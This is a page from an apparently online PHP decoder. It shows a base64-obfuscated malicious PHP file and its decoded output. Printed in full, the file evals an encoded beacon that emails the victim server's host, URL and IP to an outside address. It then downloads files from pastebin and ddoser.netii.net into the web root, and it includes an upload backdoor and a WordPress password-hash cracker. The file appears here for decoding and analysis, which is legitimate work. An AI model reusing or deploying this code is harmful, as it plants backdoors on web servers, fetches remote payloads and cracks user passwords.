Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3Rl..

Decoded Output download

$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);

Did this file decode correctly?

Original Code

<?php $encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7=='; eval(base64_decode($encoded)); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER['DOCUMENT_ROOT'] . "/up.php" ; $text = http_get('http://pastebin.com/raw/uUFM9h8Z'); $open = fopen($check, 'w'); fwrite($open, $text); fclose($open); if(file_exists($check)){ }else echo ""; $check0 = $_SERVER['DOCUMENT_ROOT'] . "/xx1.php" ; $text0 = http_get('http://pastebin.com/raw/3e7RmzMA'); $open0 = fopen($check0, 'w'); fwrite($open0, $text0); fclose($open0); if(file_exists($check0)){ }else echo ""; $check2 = $_SERVER['DOCUMENT_ROOT'] . "/up1.php" ; $text2 = http_get('http://pastebin.com/raw/dSucuQ7R'); $open2 = fopen($check2, 'w'); fwrite($open2, $text2); fclose($open2); if(file_exists($check2)){ }else echo ""; $check3=$_SERVER['DOCUMENT_ROOT'] . "/indexx.html" ; $text3 = http_get('http://ddoser.netii.net/'); $op3=fopen($check3, 'w'); fwrite($op3,$text3); fclose($op3); if(file_exists($check3)){ }else echo ""; $check5 = $_SERVER['DOCUMENT_ROOT'] . "/produtos.php" ; $text5 = http_get('http://pastebin.com/raw/dsxfw1qc'); $open5 = fopen($check5, 'w'); fwrite($open5, $text5); fclose($open5); if(file_exists($check5)){ }else echo ""; $check6 = $_SERVER['DOCUMENT_ROOT'] . "/produtos_new.php" ; $text6 = http_get('http://pastebin.com/raw/RKuW5f7u'); $open6 = fopen($check6, 'w'); fwrite($open6, $text6); fclose($open6); if(file_exists($check6)){ }else echo ""; $cwd = getcwd(); $Iraqe = $_GET['mr']; if($Iraqe == 'chmod'){ $filename = $_FILES['file']['name']; $filetmp = $_FILES['file']['tmp_name']; echo "<form method='POST' enctype='multipart/form-data'>
	<input type='file'name='file' />
	<input type='submit' value='go' />

</form>"; if(move_uploaded_file($filetmp,$filename)=='1'){ echo 'Concluido ----> '.$filename; } } class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function PasswordHash($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . uniqid(rand(), TRUE); } function get_random_bytes($count) { $output = ''; if ( @is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; $id = substr($setting, 0, 3); if ($id != '$P$' && $id != '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; return '*'; } function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash == $stored_hash; } } if(!empty($_POST['hash']) && !empty($_POST['list'])){ set_time_limit(60); $wp_hasher = new PasswordHash(8, TRUE); $password_hashed = $_POST['hash']; $wordlist = $_POST['list']; if(file_exists($wordlist)){ $file = fopen($wordlist, 'r'); while(!feof($file)) { $word = fgets($file, 4096); if($wp_hasher->CheckPassword(rtrim($word), $password_hashed) || $password_hashed == md5(rtrim($word))) { $return = 'Password Cracked !<br>Password is <b>'.$word.'</b>'; $cracked = true; } } if($cracked == false) { $return = 'Password Not Found.'; } fclose($file); }else{ $return = 'Word List File Not Found.'; } } ?>
<center>
<style type = "text/css">
.iamine{
border: 1px #000000 solid;
background:#000000;
color:#FFFFFF;
}
</style>
<title>WordPress Password Cracker 2016 </title>
<form method="post" action="">
<h1>WordPress Password Cracker 2016</h1>
<em></em>
<br><br>
<table style = "border: 1px #000000 solid;">
	<tr>
		<td class="iamine">Wordpress HASH:</td>
                <td style = "border: 1px #000000 solid;"><input type="text" class = "iamine" name="hash" size="40" value="<?php print($_POST['hash']); ?>"/></td>
	</tr>
	<tr>
		<td class="iamine">List of Word:</td>
                <td style = "border: 1px #000000 solid;"><input type="text" class = "iamine" name="list" value="wordlist.txt" size="40"/></td>
	</tr>
</table>
<br><br>
<input type="submit" name="login" value="Crack" class = "iamine"/>
<br><br>
<?php echo $return; ?>
</form>
</center>
?>

Function Calls

http_get 1
curl_init 1
base64_decode 1

Variables

$url http://pastebin.com/raw/uUFM9h8Z
$check None/up.php
$encoded JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQok..

Stats

MD5 743dba59b0768138a87d53c2aabf7742
Eval Count 1
Decode Time 131 ms